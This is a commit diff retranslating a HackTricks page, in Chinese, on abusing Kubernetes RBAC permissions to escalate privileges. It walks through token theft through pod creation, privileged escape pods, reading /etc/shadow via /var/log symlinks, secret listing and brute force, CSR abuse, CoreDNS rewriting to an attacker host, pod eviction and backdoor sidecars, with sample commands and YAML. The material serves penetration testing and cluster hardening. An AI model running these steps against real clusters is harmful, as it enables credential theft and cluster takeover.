mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 11:26:11 -08:00
Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus
This commit is contained in:
@@ -2,18 +2,18 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
这里你可以找到一些潜在危险的 Roles 和 ClusterRoles 配置。\
|
||||
记住,你可以使用 `kubectl api-resources` 获取所有支持的资源。
|
||||
在这里,您可以找到一些潜在危险的 Roles 和 ClusterRoles 配置。\
|
||||
请记住,您可以使用 `kubectl api-resources` 获取所有支持的资源。
|
||||
|
||||
## **特权提升**
|
||||
|
||||
特权提升是指在集群中以不同的特权(在 Kubernetes 集群内或外部云中)获取 **对不同主体的访问**,与您已经拥有的特权不同。在 Kubernetes 中,基本上有 **4 种主要技术来提升特权**:
|
||||
特权提升是指在集群中以**不同权限**(在 Kubernetes 集群内或外部云中)获取**对不同主体的访问**,与您当前拥有的权限不同。在 Kubernetes 中,基本上有**4 种主要技术来提升特权**:
|
||||
|
||||
- 能够 **冒充** 在 Kubernetes 集群内或外部云中具有更高特权的其他用户/组/SAs
|
||||
- 能够 **创建/补丁/执行 pods**,在其中可以 **找到或附加具有更高特权的 SAs**,在 Kubernetes 集群内或外部云中
|
||||
- 能够 **读取秘密**,因为 SAs 的令牌存储为秘密
|
||||
- 能够 **从容器逃逸到节点**,在这里你可以窃取运行在节点上的所有容器的秘密、节点的凭证,以及节点在其运行的云中的权限(如果有的话)
|
||||
- 第五种值得一提的技术是能够 **在 pod 中运行端口转发**,因为你可能能够访问该 pod 中的有趣资源。
|
||||
- 能够**冒充**在 Kubernetes 集群内或外部云中具有更高权限的其他用户/组/服务账户
|
||||
- 能够**创建/补丁/执行 pods**,在其中您可以**找到或附加具有更高权限的服务账户**
|
||||
- 能够**读取秘密**,因为服务账户的令牌存储为秘密
|
||||
- 能够**从容器逃逸到节点**,在此您可以窃取在节点上运行的容器的所有秘密、节点的凭据以及节点在其运行的云中的权限(如果有的话)
|
||||
- 第五种值得一提的技术是能够在 pod 中**运行端口转发**,因为您可能能够访问该 pod 中的有趣资源。
|
||||
|
||||
### 访问任何资源或动词(通配符)
|
||||
|
||||
@@ -33,7 +33,7 @@ verbs: ["*"]
|
||||
|
||||
在RBAC中,某些权限带来了重大风险:
|
||||
|
||||
1. **`create`:** 授予创建任何集群资源的能力,存在特权提升的风险。
|
||||
1. **`create`:** 授予创建任何集群资源的能力,存在特权升级的风险。
|
||||
2. **`list`:** 允许列出所有资源,可能泄露敏感数据。
|
||||
3. **`get`:** 允许访问服务账户的秘密,构成安全威胁。
|
||||
```yaml
|
||||
@@ -47,11 +47,11 @@ rules:
|
||||
resources: ["*"]
|
||||
verbs: ["create", "list", "get"]
|
||||
```
|
||||
### Pod 创建 - 偷取 Token
|
||||
### Pod Create - Steal Token
|
||||
|
||||
一个具有创建 pod 权限的攻击者,可以将一个特权服务账户附加到 pod 中,并偷取该服务账户的 token 以冒充该服务账户。有效地提升了其权限。
|
||||
一个具有创建 pod 权限的攻击者,可以将一个特权服务账户附加到 pod 中,并窃取该服务账户的令牌以冒充该服务账户。有效地提升了其权限。
|
||||
|
||||
一个将偷取 `bootstrap-signer` 服务账户的 token 并将其发送给攻击者的 pod 示例:
|
||||
一个将窃取 `bootstrap-signer` 服务账户令牌并将其发送给攻击者的 pod 示例:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -78,7 +78,7 @@ hostNetwork: true
|
||||
|
||||
- **特权访问**(禁用保护和设置能力)
|
||||
- **禁用命名空间 hostIPC 和 hostPid**,这可以帮助提升权限
|
||||
- **禁用 hostNetwork** 命名空间,允许访问以窃取节点的云权限和更好地访问网络
|
||||
- **禁用 hostNetwork** 命名空间,允许访问以窃取节点的云权限并更好地访问网络
|
||||
- **在容器内挂载主机 /**
|
||||
```yaml:super_privs.yaml
|
||||
apiVersion: v1
|
||||
@@ -127,7 +127,7 @@ kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hos
|
||||
|
||||
#### 隐蔽性
|
||||
|
||||
您可能想要更加**隐蔽**,在接下来的页面中,您可以看到如果您创建一个仅启用前面模板中提到的一些权限的 pod,您将能够访问什么:
|
||||
您可能想要更加**隐蔽**,在接下来的页面中,您可以看到如果您创建一个仅启用前面模板中提到的一些权限的 pod,您将能够访问的内容:
|
||||
|
||||
- **特权 + hostPID**
|
||||
- **仅特权**
|
||||
@@ -136,7 +136,7 @@ kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hos
|
||||
- **hostNetwork**
|
||||
- **hostIPC**
|
||||
|
||||
_您可以在_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) _中找到如何创建/滥用前面特权 pod 配置的示例_
|
||||
_您可以在_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) _找到如何创建/滥用之前特权 pod 配置的示例_
|
||||
|
||||
### Pod 创建 - 移动到云
|
||||
|
||||
@@ -197,10 +197,15 @@ path: /
|
||||
```bash
|
||||
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
|
||||
```
|
||||
> [!NOTE]
|
||||
> 默认情况下,命令在 pod 的第一个容器中执行。使用 `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'` 获取 **容器中的所有 pod**,然后使用 `kubectl exec -it <pod_name> -c <container_name> -- sh` **指定要执行的容器**。
|
||||
|
||||
如果是无发行版容器,您可以尝试使用 **shell 内置命令** 获取容器的信息或上传您自己的工具,如 **busybox**,使用:**`kubectl cp </path/local/file> <podname>:</path/in/container>`**。
|
||||
|
||||
### port-forward
|
||||
|
||||
此权限允许**将一个本地端口转发到指定 pod 中的一个端口**。这旨在能够轻松调试在 pod 内部运行的应用程序,但攻击者可能会利用它访问 pod 内部有趣(如数据库)或脆弱的应用程序(网页?):
|
||||
```
|
||||
此权限允许 **将一个本地端口转发到指定 pod 中的一个端口**。这旨在能够轻松调试在 pod 内部运行的应用程序,但攻击者可能会滥用它以获取对 pod 内部有趣(如数据库)或易受攻击的应用程序(网页?)的访问:
|
||||
```bash
|
||||
kubectl port-forward pod/mypod 5000:5000
|
||||
```
|
||||
### 主机可写的 /var/log/ 逃逸
|
||||
@@ -209,7 +214,7 @@ kubectl port-forward pod/mypod 5000:5000
|
||||
这基本上是因为当**Kube-API 尝试获取容器的日志**(使用 `kubectl logs <pod>`)时,它会通过 **Kubelet** 服务的 `/logs/` 端点请求 pod 的 `0.log` 文件。\
|
||||
Kubelet 服务暴露了 `/logs/` 端点,这基本上是**暴露了容器的 `/var/log` 文件系统**。
|
||||
|
||||
因此,具有**写入容器 /var/log/ 文件夹权限**的攻击者可以通过两种方式利用这种行为:
|
||||
因此,具有**写入容器 /var/log/ 文件夹权限**的攻击者可以通过两种方式滥用这种行为:
|
||||
|
||||
- 修改其容器的 `0.log` 文件(通常位于 `/var/logs/pods/namespace_pod_uid/container/0.log`),使其成为指向 `/etc/shadow` 的**符号链接**。然后,您将能够通过以下方式提取主机的 shadow 文件:
|
||||
```bash
|
||||
@@ -235,11 +240,11 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
|
||||
|
||||
#### 绕过只读保护 <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
如果你足够幸运,并且高度特权的能力 `CAP_SYS_ADMIN` 可用,你可以直接将文件夹重新挂载为 rw:
|
||||
如果你足够幸运,并且高度特权的能力 `CAP_SYS_ADMIN` 可用,你可以简单地将文件夹重新挂载为 rw:
|
||||
```bash
|
||||
mount -o rw,remount /hostlogs/
|
||||
```
|
||||
#### 绕过 hostPath 只读保护 <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
#### 绕过 hostPath readOnly 保护 <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
正如在 [**这项研究**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) 中所述,可以绕过保护:
|
||||
```yaml
|
||||
@@ -247,7 +252,7 @@ allowedHostPaths:
|
||||
- pathPrefix: "/foo"
|
||||
readOnly: true
|
||||
```
|
||||
旨在通过使用 PersistentVolume 和 PersistentVolumeClaim 来挂载主机文件夹到容器中并提供可写访问,而不是使用 hostPath 挂载,从而防止像之前那样的逃逸:
|
||||
这旨在通过使用 PersistentVolume 和 PersistentVolumeClaim 来挂载主机文件夹到容器中并提供可写访问,而不是使用 hostPath 挂载,从而防止像之前那样的逃逸:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: PersistentVolume
|
||||
@@ -312,7 +317,7 @@ https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### 列出秘密
|
||||
|
||||
**列出秘密的权限可能允许攻击者实际读取秘密**,访问 REST API 端点:
|
||||
**列出秘密的权限可能允许攻击者实际读取秘密** 访问 REST API 端点:
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
@@ -377,19 +382,19 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso
|
||||
"type": "kubernetes.io/service-account-token"
|
||||
}
|
||||
```
|
||||
注意,如果您被允许在某个命名空间中创建和读取秘密,则受害者的服务账户也必须在同一命名空间中。
|
||||
请注意,如果您被允许在某个命名空间中创建和读取秘密,则受害者的服务账户也必须在同一命名空间中。
|
||||
|
||||
### 读取秘密 – 暴力破解令牌 ID
|
||||
|
||||
虽然持有具有读取权限的令牌的攻击者需要使用秘密的确切名称,但与更广泛的 _**列出秘密**_ 权限不同,仍然存在漏洞。系统中的默认服务账户可以被枚举,每个服务账户都与一个秘密相关联。这些秘密的名称结构为:一个静态前缀后跟一个随机的五字符字母数字令牌(排除某些字符),根据 [源代码](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83)。
|
||||
虽然持有具有读取权限的令牌的攻击者需要使用秘密的确切名称,但与更广泛的 _**列出秘密**_ 权限不同,仍然存在漏洞。系统中的默认服务账户可以被枚举,每个服务账户都与一个秘密相关联。这些秘密的名称结构为:一个静态前缀后跟一个随机的五字符字母数字令牌(排除某些字符),根据 [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83)。
|
||||
|
||||
该令牌是从一个有限的 27 字符集(`bcdfghjklmnpqrstvwxz2456789`)生成的,而不是完整的字母数字范围。这一限制将总可能组合减少到 14,348,907(27^5)。因此,攻击者可以在几个小时内可行地执行暴力破解攻击,以推断出令牌,这可能导致通过访问敏感服务账户进行权限提升。
|
||||
该令牌是从一个有限的 27 字符集(`bcdfghjklmnpqrstvwxz2456789`)生成的,而不是完整的字母数字范围。这个限制将总可能组合减少到 14,348,907(27^5)。因此,攻击者可以在几个小时内可行地执行暴力攻击以推断令牌,这可能导致通过访问敏感服务账户进行权限提升。
|
||||
|
||||
### 证书签名请求
|
||||
|
||||
如果您在资源 `certificatesigningrequests` 中具有动词 **`create`**(或至少在 `certificatesigningrequests/nodeClient` 中)。您可以 **创建** 一个 **新节点** 的新 CeSR。
|
||||
|
||||
根据 [文档,您可以自动批准这些请求](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/),因此在这种情况下您 **不需要额外的权限**。如果没有,您需要能够批准请求,这意味着在 `certificatesigningrequests/approval` 中更新,并在 `signers` 中使用资源名称 `<signerNameDomain>/<signerNamePath>` 或 `<signerNameDomain>/*` 进行批准。
|
||||
根据 [documentation it's possible to auto approve this requests](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/),因此在这种情况下您 **不需要额外的权限**。如果没有,您需要能够批准请求,这意味着在 `certificatesigningrequests/approval` 中更新,并在 `signers` 中使用资源名称 `<signerNameDomain>/<signerNamePath>` 或 `<signerNameDomain>/*` 进行批准。
|
||||
|
||||
一个 **具有所有所需权限的角色示例** 是:
|
||||
```yaml
|
||||
@@ -422,12 +427,12 @@ resourceNames:
|
||||
verbs:
|
||||
- approve
|
||||
```
|
||||
所以,随着新的节点CSR被批准,您可以**滥用**节点的特殊权限来**窃取秘密**和**提升权限**。
|
||||
所以,随着新的节点CSR获得批准,您可以**滥用**节点的特殊权限来**窃取秘密**和**提升权限**。
|
||||
|
||||
在[**这篇文章**](https://www.4armed.com/blog/hacking-kubelet-on-gke/)和[**这篇文章**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/)中,GKE K8s TLS引导配置被配置为**自动签名**,并被滥用以生成新的K8s节点的凭据,然后利用这些凭据通过窃取秘密来提升权限。\
|
||||
在[**这篇文章**](https://www.4armed.com/blog/hacking-kubelet-on-gke/)和[**这篇文章**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/)中,GKE K8s TLS引导配置被设置为**自动签名**,并被滥用以生成新K8s节点的凭证,然后利用这些凭证提升权限,窃取秘密。\
|
||||
如果您**拥有提到的权限,您也可以做同样的事情**。请注意,第一个示例绕过了防止新节点访问容器内部秘密的错误,因为**节点只能访问挂载在其上的容器的秘密。**
|
||||
|
||||
绕过此限制的方法是**为挂载有有趣秘密的容器的节点名称创建节点凭据**(但请查看如何在第一篇文章中做到这一点):
|
||||
绕过此限制的方法是**为挂载有有趣秘密的容器的节点名称创建节点凭证**(但请查看第一篇文章了解如何做到这一点):
|
||||
```bash
|
||||
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
|
||||
```
|
||||
@@ -474,20 +479,60 @@ groups:
|
||||
- system:masters
|
||||
```
|
||||
> [!WARNING]
|
||||
> 您可以使用 **`aws-auth`** 来实现 **持久性**,允许来自 **其他账户** 的用户访问。
|
||||
> 您可以使用 **`aws-auth`** 进行 **持久化**,以便为 **其他账户** 的用户提供访问权限。
|
||||
>
|
||||
> 然而,`aws --profile other_account eks update-kubeconfig --name <cluster-name>` **在不同账户中无法工作**。但实际上,如果您将集群的 ARN 放入而不仅仅是名称,`aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` 是可以工作的。\
|
||||
> 要使 `kubectl` 工作,只需确保 **配置** 受害者的 **kubeconfig**,并在 aws exec 参数中添加 `--profile other_account_role`,这样 kubectl 将使用其他账户的配置文件来获取令牌并联系 AWS。
|
||||
> 然而,`aws --profile other_account eks update-kubeconfig --name <cluster-name>` **在不同账户中无法工作**。但实际上,如果您将集群的 ARN 放入,而不仅仅是名称,`aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` 是可以工作的。\
|
||||
> 要使 `kubectl` 工作,只需确保 **配置** 受害者的 kubeconfig,并在 aws exec 参数中添加 `--profile other_account_role`,这样 kubectl 将使用其他账户的配置文件来获取令牌并联系 AWS。
|
||||
|
||||
### 在 GKE 中升级
|
||||
### CoreDNS 配置映射
|
||||
|
||||
有 **2 种方法可以将 K8s 权限分配给 GCP 主体**。在任何情况下,主体还需要权限 **`container.clusters.get`** 以便能够获取访问集群的凭据,否则您将需要 **生成自己的 kubectl 配置文件**(请遵循下一个链接)。
|
||||
如果您有权限修改 `kube-system` 命名空间中的 **`coredns` 配置映射**,您可以修改地址域以便能够执行 MitM 攻击以 **窃取敏感信息或注入恶意内容**。
|
||||
|
||||
所需的动词是 **`update`** 和 **`patch`**,针对 **`coredns`** 配置映射(或所有配置映射)。
|
||||
|
||||
一个常规的 **coredns 文件** 包含如下内容:
|
||||
```yaml
|
||||
data:
|
||||
Corefile: |
|
||||
.:53 {
|
||||
log
|
||||
errors
|
||||
health {
|
||||
lameduck 5s
|
||||
}
|
||||
ready
|
||||
kubernetes cluster.local in-addr.arpa ip6.arpa {
|
||||
pods insecure
|
||||
fallthrough in-addr.arpa ip6.arpa
|
||||
ttl 30
|
||||
}
|
||||
prometheus :9153
|
||||
hosts {
|
||||
192.168.49.1 host.minikube.internal
|
||||
fallthrough
|
||||
}
|
||||
forward . /etc/resolv.conf {
|
||||
max_concurrent 1000
|
||||
}
|
||||
cache 30
|
||||
loop
|
||||
reload
|
||||
loadbalance
|
||||
}
|
||||
```
|
||||
攻击者可以通过运行 `kubectl get configmap coredns -n kube-system -o yaml` 下载它,修改后添加类似 `rewrite name victim.com attacker.com` 的内容,这样每当访问 `victim.com` 时,实际上访问的是 `attacker.com`。然后通过运行 `kubectl apply -f poison_dns.yaml` 应用它。
|
||||
|
||||
另一种选择是通过运行 `kubectl edit configmap coredns -n kube-system` 编辑文件并进行更改。
|
||||
|
||||
### 在 GKE 中升级权限
|
||||
|
||||
有 **2 种方法将 K8s 权限分配给 GCP 实体**。在任何情况下,实体还需要权限 **`container.clusters.get`** 以便能够获取访问集群的凭据,或者您需要 **生成自己的 kubectl 配置文件**(请遵循下一个链接)。
|
||||
|
||||
> [!WARNING]
|
||||
> 当与 K8s API 端点交谈时,**GCP 身份验证令牌将被发送**。然后,GCP 通过 K8s API 端点,首先 **检查主体**(通过电子邮件) **是否在集群内有任何访问权限**,然后检查是否通过 **GCP IAM** 有 **任何访问权限**。\
|
||||
> 在与 K8s API 端点交谈时,**GCP 身份验证令牌将被发送**。然后,GCP 通过 K8s API 端点首先 **检查实体**(通过电子邮件) **是否在集群内有任何访问权限**,然后检查它是否通过 **GCP IAM** 有 **任何访问权限**。\
|
||||
> 如果 **任何** 这些条件 **为真**,将会 **响应**。如果 **不**,将会给出一个 **错误**,建议通过 **GCP IAM** 授予 **权限**。
|
||||
|
||||
然后,第一种方法是使用 **GCP IAM**,K8s 权限有其 **等效的 GCP IAM 权限**,如果主体拥有这些权限,则可以使用它。
|
||||
然后,第一种方法是使用 **GCP IAM**,K8s 权限有其 **等效的 GCP IAM 权限**,如果实体拥有这些权限,它将能够使用它。
|
||||
|
||||
{{#ref}}
|
||||
../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
|
||||
@@ -497,26 +542,26 @@ groups:
|
||||
|
||||
### 创建 serviceaccounts 令牌
|
||||
|
||||
可以 **创建 TokenRequests** (`serviceaccounts/token`) 的主体在与 K8s API 端点交谈时 SAs(信息来自 [**这里**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego))。
|
||||
可以 **创建 TokenRequests** (`serviceaccounts/token`) 的实体在与 K8s API 端点交谈时 SAs(信息来自 [**这里**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego))。
|
||||
|
||||
### ephemeralcontainers
|
||||
|
||||
可以 **`update`** 或 **`patch`** **`pods/ephemeralcontainers`** 的主体可以获得 **其他 pods 的代码执行权限**,并可能通过添加具有特权的 ephemeral container **突破** 到其节点。
|
||||
可以 **`update`** 或 **`patch`** **`pods/ephemeralcontainers`** 的实体可以获得 **其他 pods 的代码执行权限**,并可能通过添加具有特权的 securityContext 的临时容器 **突破** 到其节点。
|
||||
|
||||
### ValidatingWebhookConfigurations 或 MutatingWebhookConfigurations
|
||||
|
||||
具有 `create`、`update` 或 `patch` 任何动词的主体在 `validatingwebhookconfigurations` 或 `mutatingwebhookconfigurations` 上可能能够 **创建这样的 webhookconfigurations** 以便能够 **提升权限**。
|
||||
具有 `create`、`update` 或 `patch` 任何动词的实体在 `validatingwebhookconfigurations` 或 `mutatingwebhookconfigurations` 上可能能够 **创建这样的 webhookconfigurations** 以便能够 **升级权限**。
|
||||
|
||||
有关 [`mutatingwebhookconfigurations` 的示例,请查看此帖的此部分](#malicious-admission-controller)。
|
||||
|
||||
### 升级
|
||||
|
||||
正如您在下一部分中所读到的:[**内置特权升级防止**](#built-in-privileged-escalation-prevention),主体不能更新或创建角色或集群角色,而不拥有这些新权限。除非他对 **`roles`** 或 **`clusterroles`** 拥有 **动词 `escalate`**。\
|
||||
然后他可以更新/创建具有比他拥有的更好权限的新角色和集群角色。
|
||||
正如您在下一部分中所读到的:[**内置的特权升级预防**](#built-in-privileged-escalation-prevention),实体不能更新或创建角色或集群角色,而不拥有这些新权限。除非他拥有 **动词 `escalate` 或 `*`** 在 **`roles`** 或 **`clusterroles`** 上及相应的绑定选项。\
|
||||
然后他可以更新/创建具有比他拥有的更好权限的新角色、集群角色。
|
||||
|
||||
### 节点代理
|
||||
|
||||
具有访问 **`nodes/proxy`** 子资源的主体可以通过 Kubelet API **在 pods 上执行代码**(根据 [**此**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego))。有关 Kubelet 身份验证的更多信息,请访问此页面:
|
||||
具有访问 **`nodes/proxy`** 子资源的实体可以通过 Kubelet API **在 pods 上执行代码**(根据 [**此**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego))。有关 Kubelet 身份验证的更多信息,请访问此页面:
|
||||
|
||||
{{#ref}}
|
||||
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
|
||||
@@ -524,9 +569,9 @@ groups:
|
||||
|
||||
您可以在这里查看如何通过 [**与 Kubelet API 授权交谈获取 RCE**](../pentesting-kubernetes-services/index.html#kubelet-rce)。
|
||||
|
||||
### 删除 pods + 不可调度节点
|
||||
### 删除 pods + 无法调度的节点
|
||||
|
||||
可以 **删除 pods**(在 `pods` 资源上使用 `delete` 动词),或 **驱逐 pods**(在 `pods/eviction` 资源上使用 `create` 动词),或 **更改 pod 状态**(访问 `pods/status`)并可以 **使其他节点不可调度**(访问 `nodes/status`)或 **删除节点**(在 `nodes` 资源上使用 `delete` 动词)并控制一个 pod 的主体,可以 **从其他节点窃取 pods**,使它们在 **被攻陷的** **节点** 中 **执行**,攻击者可以 **窃取这些 pods 的令牌**。
|
||||
可以 **删除 pods**(在 `pods` 资源上使用 `delete` 动词),或 **驱逐 pods**(在 `pods/eviction` 资源上使用 `create` 动词),或 **更改 pod 状态**(访问 `pods/status`)并可以 **使其他节点无法调度**(访问 `nodes/status`)或 **删除节点**(在 `nodes` 资源上使用 `delete` 动词)并控制一个 pod 的实体,可以 **从其他节点窃取 pods**,使它们在 **被攻陷的** **节点** 上 **执行**,攻击者可以 **窃取这些 pods 的令牌**。
|
||||
```bash
|
||||
patch_node_capacity(){
|
||||
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
|
||||
@@ -539,29 +584,29 @@ kubectl delete pods -n kube-system <privileged_pod_name>
|
||||
```
|
||||
### 服务状态 (CVE-2020-8554)
|
||||
|
||||
可以 **修改** **`services/status`** 的主体可能会将 `status.loadBalancer.ingress.ip` 字段设置为利用 **未修复的 CVE-2020-8554** 并发起 **MiTM 攻击**。大多数针对 CVE-2020-8554 的缓解措施仅防止 ExternalIP 服务(根据 [**此处**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego))。
|
||||
可以**修改** **`services/status`** 的主体可能会将 `status.loadBalancer.ingress.ip` 字段设置为利用 **未修复的 CVE-2020-8554** 并发起 **MiTM 攻击**。大多数针对 CVE-2020-8554 的缓解措施仅防止 ExternalIP 服务(根据 [**此处**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego))。
|
||||
|
||||
### 节点和 Pods 状态
|
||||
|
||||
具有 `nodes/status` 或 `pods/status` 上 **`update`** 或 **`patch`** 权限的主体,可以修改标签以影响强制执行的调度约束。
|
||||
拥有 `nodes/status` 或 `pods/status` 上的 **`update`** 或 **`patch`** 权限的主体,可以修改标签以影响强制执行的调度约束。
|
||||
|
||||
## 内置特权升级防护
|
||||
## 内置特权提升预防
|
||||
|
||||
Kubernetes 具有 [内置机制](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) 来防止特权升级。
|
||||
Kubernetes 具有 [内置机制](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) 来防止特权提升。
|
||||
|
||||
该系统确保 **用户无法通过修改角色或角色绑定来提升其权限**。此规则的执行发生在 API 级别,即使 RBAC 授权者处于非活动状态,也提供了保护。
|
||||
|
||||
该规则规定 **用户只能创建或更新角色,如果他们拥有角色所包含的所有权限**。此外,用户现有权限的范围必须与他们尝试创建或修改的角色的范围一致:对于 ClusterRoles 是集群范围内的,或者对于 Roles 限于同一命名空间(或集群范围内)。
|
||||
该规则规定 **用户只能在拥有角色所包含的所有权限的情况下创建或更新角色**。此外,用户现有权限的范围必须与他们尝试创建或修改的角色的范围一致:对于 ClusterRoles 是集群范围内的,或者对于 Roles 是限制在同一命名空间(或集群范围内)。
|
||||
|
||||
> [!WARNING]
|
||||
> 之前规则有一个例外。如果主体对 **`roles`** 或 **`clusterroles`** 具有 **动词 `escalate`**,他可以在没有自己拥有权限的情况下增加角色和集群角色的权限。
|
||||
> 之前规则有一个例外。如果主体对 **`roles`** 或 **`clusterroles`** 拥有 **动词 `escalate`**,他可以在没有自己拥有权限的情况下提升角色和集群角色的权限。
|
||||
|
||||
### **获取 & 修改 RoleBindings/ClusterRoleBindings**
|
||||
### **获取和补丁 RoleBindings/ClusterRoleBindings**
|
||||
|
||||
> [!CAUTION]
|
||||
> **显然这个技术以前有效,但根据我的测试,由于前面部分解释的原因,它现在不再有效。如果你没有权限,你无法创建/修改角色绑定以赋予自己或其他服务账户一些权限。**
|
||||
|
||||
创建 Rolebindings 的特权允许用户 **将角色绑定到服务账户**。这个特权可能导致特权升级,因为它 **允许用户将管理员权限绑定到被攻陷的服务账户**。
|
||||
创建 Rolebindings 的特权允许用户 **将角色绑定到服务账户**。这个特权可能导致特权提升,因为它 **允许用户将管理员权限绑定到被攻陷的服务账户**。
|
||||
|
||||
## 其他攻击
|
||||
|
||||
@@ -569,55 +614,29 @@ Kubernetes 具有 [内置机制](https://kubernetes.io/docs/reference/access-aut
|
||||
|
||||
默认情况下,Pods 之间的通信没有任何加密。相互认证,双向,Pod 到 Pod。
|
||||
|
||||
#### 创建一个 sidecar 代理应用 <a href="#create-a-sidecar-proxy-app" id="create-a-sidecar-proxy-app"></a>
|
||||
#### 创建一个 sidecar 代理应用
|
||||
|
||||
创建你的 .yaml
|
||||
```bash
|
||||
kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'
|
||||
```
|
||||
编辑您的 .yaml 文件并添加未注释的行:
|
||||
Sidecar 容器仅仅是向 Pod 中添加 **第二个(或更多)容器**。
|
||||
|
||||
例如,以下是一个包含 2 个容器的 Pod 配置的一部分:
|
||||
```yaml
|
||||
#apiVersion: v1
|
||||
#kind: Pod
|
||||
#metadata:
|
||||
# name: security-context-demo
|
||||
#spec:
|
||||
# securityContext:
|
||||
# runAsUser: 1000
|
||||
# runAsGroup: 3000
|
||||
# fsGroup: 2000
|
||||
# volumes:
|
||||
# - name: sec-ctx-vol
|
||||
# emptyDir: {}
|
||||
# containers:
|
||||
# - name: sec-ctx-demo
|
||||
# image: busybox
|
||||
command:
|
||||
[
|
||||
"sh",
|
||||
"-c",
|
||||
"apt update && apt install iptables -y && iptables -L && sleep 1h",
|
||||
]
|
||||
securityContext:
|
||||
capabilities:
|
||||
add: ["NET_ADMIN"]
|
||||
# volumeMounts:
|
||||
# - name: sec-ctx-vol
|
||||
# mountPath: /data/demo
|
||||
# securityContext:
|
||||
# allowPrivilegeEscalation: true
|
||||
```
|
||||
查看代理的日志:
|
||||
```bash
|
||||
kubectl logs app -C proxy
|
||||
spec:
|
||||
containers:
|
||||
- name: main-application
|
||||
image: nginx
|
||||
- name: sidecar-container
|
||||
image: busybox
|
||||
command: ["sh","-c","<execute something in the same pod but different container>"]
|
||||
```
|
||||
例如,要通过新容器对现有的 pod 进行后门操作,您只需在规范中添加一个新容器。请注意,您可以**给予第二个容器更多权限**,而第一个容器则没有。
|
||||
|
||||
更多信息请访问: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
|
||||
### 恶意 Admission Controller
|
||||
|
||||
Admission controller **在对象持久化之前拦截对 Kubernetes API 服务器的请求**,但 **在请求经过身份验证** **和授权之后**。
|
||||
Admission controller **在对象持久化之前拦截对 Kubernetes API 服务器的请求**,但**在请求经过身份验证** **和授权之后**。
|
||||
|
||||
如果攻击者以某种方式成功 **注入一个 Mutationg Admission Controller**,他将能够 **修改已经通过身份验证的请求**。这可能导致权限提升,并且通常能够在集群中持久化。
|
||||
如果攻击者以某种方式成功**注入一个 Mutation Admission Controller**,他将能够**修改已经通过身份验证的请求**。这可能导致权限提升,并且通常能够在集群中持久化。
|
||||
|
||||
**来自** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
|
||||
```bash
|
||||
@@ -631,12 +650,14 @@ kubectl get po -n webhook-demo -w
|
||||
kubectl get mutatingwebhookconfigurations
|
||||
kubectl get deploy,svc -n webhook-demo
|
||||
```
|
||||

|
||||
|
||||
然后部署一个新的 pod:
|
||||
```bash
|
||||
kubectl run nginx --image nginx
|
||||
kubectl get po -w
|
||||
```
|
||||
当您看到 `ErrImagePull` 错误时,请使用以下查询检查镜像名称:
|
||||
当您看到 `ErrImagePull` 错误时,请使用以下任一查询检查镜像名称:
|
||||
```bash
|
||||
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
|
||||
kubectl describe po nginx | grep "Image: "
|
||||
